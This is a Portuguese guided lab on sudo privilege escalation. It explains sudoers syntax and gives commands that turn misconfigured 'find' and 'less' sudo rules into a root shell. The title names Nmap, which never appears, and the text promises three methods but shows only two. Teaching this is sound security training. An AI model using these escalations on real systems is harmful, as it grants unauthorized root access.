Aprenda Métodos de Escalada de Privilégios Sudo no Nmap

Beginner

Introdução

Neste laboratório, você aprenderá sobre a sintaxe do arquivo de configuração do sudo e praticará três métodos comuns para escalar privilégios através de vulnerabilidades ou configurações incorretas do sudo. O objetivo é obter uma melhor compreensão de como aproveitar o sudo para a escalada de privilégios durante um teste de penetração.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 97%. Recebeu uma taxa de avaliações positivas de 100% dos estudantes.

Sintaxe do Arquivo de Configuração Sudo

Nesta etapa, você aprenderá sobre a sintaxe do arquivo /etc/sudoers, que é usado para configurar os privilégios do sudo.

O arquivo /etc/sudoers é usado para especificar quais usuários ou grupos podem executar comandos com privilégios elevados. Para visualizar e salvar o conteúdo do arquivo /etc/sudoers, execute o seguinte comando:

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

A saída deve ser semelhante à seguinte:

## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root    ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges

Esta linha especifica que o usuário root pode executar qualquer comando como qualquer usuário ou grupo em todos os hosts.

A sintaxe geral para uma entrada sudoers é:

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name: O usuário ou grupo ao qual a regra se aplica.
  • host_list: O(s) host(s) em que a regra se aplica. O valor ALL significa todos os hosts.
  • run_as_user: O usuário cujos privilégios são usados para executar o comando. O valor ALL significa qualquer usuário.
  • run_as_group: O grupo cujos privilégios são usados para executar o comando. O valor ALL significa qualquer grupo.
  • command_list: O(s) comando(s) que o usuário ou grupo tem permissão para executar.

Sudo Permite Escalada de Privilégios Sem Restrições de Argumentos

Nesta etapa, você praticará a escalada de privilégios aproveitando configurações incorretas do sudo que permitem a execução de qualquer comando com privilégios elevados.

  1. Primeiro, abra um terminal e navegue até o diretório /home/labex/project.

    cd /home/labex/project
  2. Inicialize o ambiente executando o seguinte comando:

    ./env_setup_1.sh
  3. Agora você está logado como o usuário user001.

    Use o comando sudo -l para verificar seus privilégios do sudo:

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    Isso significa que você pode executar o comando find com privilégios de root sem uma senha.

  4. Para escalar privilégios, execute:

    sudo find /home -exec /bin/bash \;

    Você agora deve ter um shell root.

  5. Crie um arquivo chamado success_1.txt no diretório /root para verificar se você tem privilégios de root:

    echo "success_1" | sudo tee /root/success_1.txt

    Verifique o arquivo executando:

    cat /root/success_1.txt

    A saída deve ser success_1.

Sudo Permite Escalada de Privilégios com Argumentos de Comando Específicos

Nesta etapa, você praticará a escalada de privilégios aproveitando configurações incorretas do sudo que permitem a execução de comandos específicos com privilégios elevados.

Após a etapa anterior, você ainda está logado como o usuário root. Para a continuação desta etapa, você precisa fechar o terminal atual e abrir um novo terminal.

  1. Primeiro, abra um terminal e navegue até o diretório /home/labex/project.

    cd /home/labex/project
  2. Inicialize o ambiente executando o seguinte comando:

    ./env_setup_2.sh
  3. Verifique seus privilégios do sudo com sudo -l:

    sudo -l

    Saída esperada:

    (root) NOPASSWD: /bin/less /var/log/messages

    Isso significa que você pode executar o comando /bin/less /var/log/messages com privilégios de root sem uma senha.

  4. Para escalar privilégios, execute:

    sudo less /var/log/messages

    Uma vez dentro do pager less, execute:

    !/bin/bash

    Você agora deve ter um shell root.

  5. Crie um arquivo chamado success_2.txt no diretório /root para verificar se você tem privilégios de root:

    echo "success_2" | sudo tee /root/success_2.txt

    Verifique o arquivo executando:

    cat /root/success_2.txt

    A saída deve ser success_2.

Resumo

Neste laboratório, você aprendeu sobre a sintaxe do arquivo /etc/sudoers e como configurar os privilégios do sudo. Você também praticou três métodos comuns para escalar privilégios por meio de configurações incorretas ou vulnerabilidades do sudo. Ao entender como alavancar o sudo para a escalada de privilégios, você pode avaliar e mitigar melhor os riscos potenciais de segurança em sistemas Linux.